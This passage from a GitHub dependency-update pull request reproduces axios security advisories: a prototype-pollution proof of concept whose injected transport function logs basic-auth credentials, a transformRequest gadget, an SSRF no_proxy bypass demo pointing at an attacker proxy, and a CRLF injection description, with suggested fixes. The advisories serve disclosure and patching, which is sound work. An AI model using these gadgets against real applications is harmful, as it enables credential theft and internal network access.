Terminal 2 -- client (poc_transport.mjs):

import axios from 'axios';
import http from 'http';

Object.prototype.transport = {
  request(options, handleResponse) {
    // Intercept: called for every outbound request in this process.
    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
    console.log('[hijack] auth:', options.auth);
    console.log('[hijack] headers:', JSON.stringify(options.headers));
    // Forward to the real transport so the caller sees a normal 200.
    return http.request(options, handleResponse);
  },
};

const res = await axios.get('http://127.0.0.1:19002/api/users', {
  auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);

delete Object.prototype.transport;
$ node poc_transport.mjs
[hijack] target: 127.0.0.1:19002/api/users
[hijack] auth: svc_account:hunter2
[hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"}
[app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.


Additional gadget: transformRequest / transformResponse

Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios._request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.


Why the existing fix does not cover these

PR #​7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"__proto__": {"x": 1}} as the config object, which caused mergeMap['__proto__'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on __proto__, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to __proto__ (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.


Suggested fixes

For parseReviver (lib/defaults/index.js#L124):

const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
return JSON.parse(data, reviver);

For mergeConfig value reads (lib/core/mergeConfig.js#L102):

const configValue = merge(
  config1[prop],
  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,
  prop
);

For transport and other adapter reads from config (lib/adapters/http.js#L676):

if (utils.hasOwnProp(config, 'transport') && config.transport) {
  transport = config.transport;
}

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.


Environment
  • axios: 1.13.6
  • Node.js: 22.22.0
  • OS: macOS 14
  • Reproduction: confirmed in isolated test harness, both gadgets independently verified
Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: no_proxy bypass via IP alias allows SSRF

CVE-2026-42038 / GHSA-m7pr-hjqh-92cm

More information

Details

The fix for no_proxy hostname normalization bypass (#​10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.

The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:

  • no_proxy=localhost does NOT block 127.0.0.1 or [::1]
  • no_proxy=127.0.0.1 does NOT block localhost or [::1]

POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';

    process.env.http_proxy = 'http://127.0.0.1:8888';

    console.log('=== Test 1: localhost (should bypass proxy) ===');
    try {
      await axios.get('http://localhost:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    console.log('');
    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
    try {
      await axios.get('http://127.0.0.1:7777/');
    } catch(e) {
      console.log('Error:', e.message);
    }

    fakeProxy.close();
    internalServer.close();
  });
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)

=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ```
 

<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />

Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.

Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

#### Severity
- CVSS Score: 6.8 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm](https://redirect.github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42038](https://nvd.nist.gov/vuln/detail/CVE-2026-42038)
- [https://github.com/advisories/GHSA-m7pr-hjqh-92cm](https://redirect.github.com/advisories/GHSA-m7pr-hjqh-92cm)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m7pr-hjqh-92cm) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream
[CVE-2026-42037](https://nvd.nist.gov/vuln/detail/CVE-2026-42037) / [GHSA-445q-vr5w-6q77](https://redirect.github.com/advisories/GHSA-445q-vr5w-6q77)

<details>
<summary>More information</summary>

#### Details
##### Summary
The `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\r\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

##### Details
In `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:

if (isStringValue) {
value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
// value.type is NOT sanitized for CRLF sequences
headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF};
}

Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. Th

> ✂ **Note**
> 
> PR body was truncated to here.

@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.15.0 [security] chore(deps): update dependency axios to v1.15.0 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot deleted the renovate/npm-axios-vulnerability branch April 27, 2026 18:56
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.15.0 [security] - autoclosed chore(deps): update dependency axios to v1.15.0 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch 2 times, most recently from 970fa84 to b5bb77c Compare April 27, 2026 20:52
@renovate renovate Bot force-pushed the renovate/npm-axios-vulnerability branch from b5bb77c to 541ccb6 Compare May 7, 2026 21:37
@renovate renovate Bot changed the title chore(deps): update dependency axios to v1.15.0 [security] chore(deps): update dependency axios to v1.15.2 [security] May 7, 2026
@sonarqubecloud
Copy link
Copy Markdown

sonarqubecloud Bot commented May 7, 2026

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants